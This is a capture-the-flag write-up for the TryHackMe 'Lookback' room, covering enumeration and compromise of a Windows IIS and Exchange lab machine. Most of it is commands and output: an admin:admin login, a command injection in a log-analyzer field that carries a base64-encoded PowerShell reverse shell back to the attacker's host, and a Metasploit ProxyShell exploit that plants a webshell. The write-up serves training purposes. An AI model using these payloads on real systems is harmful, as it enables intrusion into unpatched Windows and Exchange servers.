# ChallengeLookback (TryHackMe) Link to the challenge: [Lookback](https://tryhackme.com/room/lookback) > The Lookback company has just started the integration with Active Directory. Due to the coming deadline, the system integrator had to rush the deployment of the environment. Can you spot any vulnerabilities? > > Start the Lab Machine by pressing the Start Lab Machine button at the top of this task. You may access the VM using the AttackBox or your VPN connection. This machine does not respond to ping (ICMP). > > Can you find all the flags? The VM takes about 5/10 minutes to fully boot up. > > Sometimes to move forward, we have to go backward. So if you get stuck, try to look back! ## Answer the questions below ### What is the service user flag? ```markdown nmap -p- -sV IP_Address PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 443/tcp open ssl/https 3389/tcp open ms-wbt-server Microsoft Terminal Services ``` `gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt` * nothing helpful ```markdown curl -i http://IP_Address/thispagedoesnotexist12345 HTTP/1.1 403 Forbidden Server: Microsoft-IIS/10.0 Date: Thu, 03 Sep 2026 06:24:32 GMT Content-Length: 0 ``` `gobuster dir -u https://IP_Address -k -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,asp,aspx` ```markdown map -p 88,389,636,3268,3269,5985,5986 -sV -Pn IP_Address PORT STATE SERVICE VERSION 88/tcp filtered kerberos-sec 389/tcp filtered ldap 636/tcp filtered ldapssl 3268/tcp filtered globalcatLDAP 3269/tcp filtered globalcatLDAPssl 5985/tcp filtered wsman 5986/tcp filtered wsmans ``` ```markdown gobuster dir -u http://IP_Address -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -x aspx,asp,txt -b 401,403 -t 30 /ecp (Status: 302) [Size: 211] [--> https://IP_Address/owa/auth/logon.aspx?url=https%3a%2f%2fIP_Address%2fecp&reason=0] ``` ```markdown curl -ik -u admin:admin "https://IP_Address/test/" HTTP/2 200 cache-control: private content-type: text/html; charset=utf-8 server: Microsoft-IIS/10.0 x-aspnet-version: 4.0.30319 x-powered-by: ASP.NET date: Thu, 03 Sep 2026 07:13:13 GMT content-length: 1109 ``` ### What is the user flag? `nc -lvnp 4444` ```markdown IP="AttackBox_IP" PORT="4444" PAYLOAD="\$client = New-Object System.Net.Sockets.TCPClient('$IP',$PORT);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" echo -n "$PAYLOAD" | iconv -t UTF-16LE | base64 -w 0 JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAxADQALgAxADEAMwAuADEAMAA0ACcALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA== ``` ```markdown curl -ik -u admin:admin "https://IP_Address/test/" \ --data-urlencode "__VIEWSTATE=/wEPDwUJNjIzMDE2ODg3D2QWAgIBD2QWAgINDw8WAh4EVGV4dAXkAg0KPHByZT5HZXQtQ29udGVudCA6IENhbm5vdCBmaW5kIHBhdGggJ0M6XHgnIGJlY2F1c2UgaXQgZG9lcyBub3QgZXhpc3QuCkF0IGxpbmU6MSBjaGFyOjEKKyBHZXQtQ29udGVudCgnQzpceCcpOyB3aG9hbWk7ICgnJykKKyB+fn5+fn5+fn5+fn5+fn5+fn5+CiAgICArIENhdGVnb3J5SW5mbyAgICAgICAgICA6IE9iamVjdE5vdEZvdW5kOiAoQzpceDpTdHJpbmcpIFtHZXQtQ29udGVudF0sIEl0ZW1Ob3RGb3VuZEV4Y2VwdGlvbgogICAgKyBGdWxseVF1YWxpZmllZEVycm9ySWQgOiBQYXRoTm90Rm91bmQsTWljcm9zb2Z0LlBvd2VyU2hlbGwuQ29tbWFuZHMuR2V0Q29udGVudENvbW1hbmQKIAp0aG1cYWRtaW4NCg0KPC9wcmU+ZGRkuLWnr+dJZK/wldBB9KhzJMXTd9hQO/TET0XcnuxJ+ks=" \ --data-urlencode "__VIEWSTATEGENERATOR=297DB184" \ --data-urlencode "__EVENTVALIDATION=/wEdAAN/Z2ua29ROfmeFH0glvC5QZhKn2xIin3da/xugJk3mFmNW1/g3lL93h5ozWJAQom8ymX3RnL1dn6X9Ughg9YBAXFmKkQMrb5Wz/lq0e/CUfQ==" \ --data-urlencode "xlog=x'); powershell -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAxADQALgAxADEAMwAuADEAMAA0ACcALAA0ADQANAA0ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAnAFAAUwAgACcAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==; ('" \ --data-urlencode "Button=Run" ``` ```markdown nc -lvnp 4444 Listening on 0.0.0.0 4444 Connection received on IP_Address 11229 id PS C:\windows\system32\inetsrv> ``` ```markdown PS C:\windows\system32\inetsrv> whoami /all USER INFORMATION ---------------- User Name SID ========= ============================================== thm\admin S-1-5-21-2402911436-1669601961-3356949615-1149 GROUP INFORMATION ----------------- Group Name Type SID Attributes =========================================== ================ ============================================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\BATCH Well-known group S-1-5-3 Mandatory group, Enabled by default, Enabled group CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group BUILTIN\IIS_IUSRS Alias S-1-5-32-568 Mandatory group, Enabled by default, Enabled group LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group IIS APPPOOL\DefaultAppPool Well-known group S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448 PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ================================== ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled USER CLAIMS INFORMATION ----------------------- User claims unknown. Kerberos support for Dynamic Access Control on this device has been disabled. PS C:\windows\system32\inetsrv> ``` ```markdown PS C:\windows\system32\inetsrv> dir C:\Users\ dir "C:\Users\dev\Desktop\" type "C:\Users\dev\Desktop\TODO.txt" Directory: C:\Users Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/25/2023 12:54 PM .NET v4.5 d----- 1/25/2023 12:54 PM .NET v4.5 Classic d----- 3/21/2023 11:40 AM Administrator d----- 2/21/2023 12:31 AM dev d-r--- 1/25/2023 8:15 PM Public Directory: C:\Users\dev\Desktop Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 3/21/2023 12:28 PM 512 TODO.txt -a---- 2/12/2023 11:53 AM 29 user.txt PS C:\windows\system32\inetsrv> type C:\Users\dev\Desktop\user.txt PS C:\windows\system32\inetsrv> C:\Users\dev\Desktop\TODO.txt PS C:\windows\system32\inetsrv> type C:\Users\dev\Desktop\TODO.txt Hey dev team, This is the tasks list for the deadline: Promote Server to Domain Controller [DONE] Setup Microsoft Exchange [DONE] Setup IIS [DONE] Remove the log analyzer[TO BE DONE] Add all the users from the infra department [TO BE DONE] Install the Security Update for MS Exchange [TO BE DONE] Setup LAPS [TO BE DONE] When you are done with the tasks please send an email to: joe@thm.local carol@thm.local and do not forget to put in CC the infra team! dev-infrastracture-team@thm.local PS C:\windows\system32\inetsrv> ``` ```markdown PS C:\windows\system32\inetsrv> whoami /priv PRIVILEGES INFORMATION ---------------------- Privilege Name Description State ============================= ================================== ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeMachineAccountPrivilege Add workstations to domain Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled PS C:\windows\system32\inetsrv> ``` ```markdown PS C:\windows\system32\inetsrv> type C:\Users\dev\Desktop\user.txt THM{Stop_Reading_Start_Redacted} ``` ### What is the root flag? ```markdown msfconsole use exploit/windows/http/exchange_proxyshell_rce set RHOSTS 10.112.135.173 set LHOST 10.112.79.173 set LPORT 5555 set EMAIL dev-infrastracture-team@thm.local set SSL true run ``` ```markdown msf exploit(windows/http/exchange_proxyshell_rce) > run [*] Started reverse TCP handler on 10.112.79.173:5555 [*] Running automatic check ("set AutoCheck false" to disable) [+] The target is vulnerable. Target is vulnerable [*] Attempt to exploit for CVE-2021-34473 [*] Retrieving backend FQDN over RPC request [*] Internal server name: win-12ouo7a66m7.thm.local [*] Assigning the 'Mailbox Import Export' role via dev-infrastracture-team@thm.local [+] Successfully assigned the 'Mailbox Import Export' role [+] Proceeding with SID: S-1-5-21-2402911436-1669601961-3356949615-1144 (dev-infrastracture-team@thm.local) [*] Saving a draft email with subject 'bLdU4tIy' containing the attachment with the embedded webshell [*] Writing to: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\98BdN7vq0.aspx [*] Waiting for the export request to complete... [+] The mailbox export request has completed [*] Triggering the payload [*] Sending stage (248902 bytes) to 10.112.135.173 [+] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\98BdN7vq0.aspx [*] Meterpreter session 1 opened (10.112.79.173:5555 -> 10.112.135.173:8838) at 2026-09-03 09:03:54 +0000 [*] Removing the mailbox export request [*] Removing the draft email meterpreter > ``` ```markdown meterpreter > shell Process 6992 created. Channel 2 created. Microsoft Windows [Version 10.0.17763.107] (c) 2018 Microsoft Corporation. All rights reserved. c:\windows\system32\inetsrv>where /r C:\ *.txt | findstr /i flag where /r C:\ *.txt | findstr /i flag C:\Users\Administrator\Documents\flag.txt c:\windows\system32\inetsrv>type C:\Users\Administrator\Documents\flag.txt type C:\Users\Administrator\Documents\flag.txt THM{Looking_Back_Is_Not_Always_Redacted} ```

This interface should be removed on production!